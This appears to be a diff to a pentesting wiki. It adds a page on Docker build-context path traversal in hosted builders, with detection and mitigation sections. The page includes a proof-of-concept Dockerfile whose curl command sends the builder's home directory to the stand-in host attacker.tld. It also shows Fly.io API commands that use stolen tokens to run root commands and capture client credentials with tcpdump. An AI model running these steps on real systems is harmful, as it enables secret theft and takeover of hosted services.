Add content from: Breaking MCP Server Hosting: Build-Context Path Traversal to...

src/SUMMARY.md

@@ -8,6 +8,7 @@
 
 # 🏭 Pentesting CI/CD
 
+- [Docker Build Context Abuse](pentesting-ci-cd/docker-build-context-abuse.md)
 - [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
 - [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
   - [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
@@ -579,3 +580,4 @@
 
     - [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
   - [Aws Sqs Dlq Redrive Exfiltration](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
+    - [Readme](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -0,0 +1,124 @@
+# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## TL;DR
+
+If a CI/CD platform or hosted builder lets contributors specify the Docker build context path and Dockerfile path, you can often set the context to a parent directory (e.g., "..") and make host files part of the build context. Then, an attacker-controlled Dockerfile can COPY and exfiltrate secrets found in the builder user’s home (for example, ~/.docker/config.json). Stolen registry tokens may also work against the provider’s control-plane APIs, enabling org-wide RCE.
+
+## Attack surface
+
+Many hosted builder/registry services do roughly this when building user-submitted images:
+- Read a repo-level config that includes:
+  - build context path (sent to the Docker daemon)
+  - Dockerfile path relative to that context
+- Copy the indicated build context directory and the Dockerfile to the Docker daemon
+- Build the image and run it as a hosted service
+
+If the platform does not canonicalize and restrict the build context, a user can set it to a location outside the repository (path traversal), causing arbitrary host files readable by the build user to become part of the build context and available to COPY in the Dockerfile.
+
+Practical constraints commonly observed:
+- The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
+- The build user must have read access to files included in the context; special device files can break the copy.
+
+## PoC: Path traversal via Docker build context
+
+Example malicious server config declaring a Dockerfile within the parent directory context:
+
+```yaml
+runtime: "container"
+build:
+  dockerfile: "test/Dockerfile"   # Must reside inside the final context
+  dockerBuildPath: ".."           # Path traversal to builder user $HOME
+startCommand:
+  type: "http"
+  configSchema:
+    type: "object"
+    properties:
+      apiKey:
+        type: "string"
+    required: ["apiKey"]
+  exampleConfig:
+    apiKey: "sk-example123"
+```
+
+Notes:
+- Using ".." often resolves to the builder user’s home (e.g., /home/builder), which typically contains sensitive files.
+- Place your Dockerfile under the repo’s directory name (e.g., repo "test" → test/Dockerfile) so it remains within the expanded parent context.
+
+## PoC: Dockerfile to ingest and exfiltrate the host context
+
+```dockerfile
+FROM alpine
+RUN apk add --no-cache curl
+RUN mkdir /data
+COPY . /data                      # Copies entire build context (now builder’s $HOME)
+RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
+```
+
+Targets commonly recovered from $HOME:
+- ~/.docker/config.json (registry auths/tokens)
+- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+
+Tip: Even with a .dockerignore in the repository, the vulnerable platform-side context selection still governs what gets sent to the daemon. If the platform copies the chosen path to the daemon before evaluating your repo’s .dockerignore, host files may still be exposed.
+
+## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
+
+Some platforms issue a single bearer token usable for both the container registry and the control-plane API. If you exfiltrate a registry token, try it against the provider API.
+
+Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
+
+Enumerate apps in an org:
+```bash
+curl -H "Authorization: Bearer fm2_..." \
+  "https://api.machines.dev/v1/apps?org_slug=smithery"
+```
+
+Run a command as root inside any machine of an app:
+```bash
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+  "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+  --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
+```
+
+Outcome: org-wide remote code execution across all hosted apps where the token holds sufficient privileges.
+
+## Secret theft from compromised hosted services
+
+With exec/RCE on hosted servers, you can harvest client-supplied secrets (API keys, tokens) or mount prompt-injection attacks. Example: install tcpdump and capture HTTP traffic on port 8080 to extract inbound credentials.
+
+```bash
+# Install tcpdump inside the machine
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+  "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+  --data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
+
+# Capture traffic
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+  "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+  --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
+```
+
+Captured requests often contain client credentials in headers, bodies, or query params.
+
+## Detection ideas
+
+- Flag suspicious build contexts ("..", absolute paths, or paths escaping the repo root).
+- Build logs showing COPY of non-repo paths or network egress during build (curl, wget) from Dockerfile RUN.
+- Control-plane audit anomalies (e.g., spikes in exec calls, package installs like apk add tcpdump).
+- Egress monitoring from builder hosts and hosted servers.
+
+## Mitigations
+
+- Canonicalize and constrain build contexts to the repository root (disallow ".." and absolute paths). Allow-list subpaths only.
+- Mount a minimal, read-only build context; run builds in ephemeral, sandboxed builders with least-privilege.
+- Separate credentials and scope them narrowly (registry vs control-plane). Prefer short-lived tokens and automatic rotation.
+- Restrict egress from build steps and from hosted servers; block unsolid outbound exfiltration.
+- Prefer OAuth with narrow scopes and short lifetimes for client-to-server authentication, reducing blast radius.
+
+## References
+
+- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
+- [Fly.io Machines API](https://fly.io/docs/machines/api/)
+
+{{#include ../banners/hacktricks-training.md}}

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -49,6 +49,13 @@ These files typically have a consistent name and format, for example — Jenkins
 
 Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
 
+> [!TIP]
+> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
+>
+>{{#ref}}
+>docker-build-context-abuse.md
+>{{#endref}}
+
 ### PPE - Poisoned Pipeline Execution
 
 The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md

@@ -1,6 +1,6 @@
 # AWS - Bedrock Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 
 ## AWS - Bedrock Agents Memory Poisoning (Indirect Prompt Injection)
@@ -90,4 +90,4 @@ Notes:
 - [Track agent’s step-by-step reasoning process using trace – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html)
 - [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md

@@ -1,5 +1,7 @@
 # AWS MWAA Execution Role Account Wildcard Vulnerability
 
+{{#include ../../../../banners/hacktricks-training.md}}
+
 ## The Vulnerability
 
 MWAA's execution role (the IAM role that Airflow workers use to access AWS resources) requires this mandatory policy to function:
@@ -44,3 +46,4 @@ All attacks bypass network controls since they use AWS APIs, not direct internet
 This is an architectural flaw in MWAA with no IAM-based mitigation. Every MWAA deployment following AWS documentation has this vulnerability.
 
 **Network Control Bypass:** These attacks work even in private VPCs with no internet access. The SQS API calls use AWS's internal network and VPC endpoints, completely bypassing traditional network security controls, firewalls, and egress monitoring. Organizations cannot detect or block this data exfiltration path through network-level controls.
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md

@@ -158,3 +158,4 @@ echo "Feature Group ready: $FG"
 ## References
 - [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
 - [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
+{{#include ../../../../banners/hacktricks-training.md}}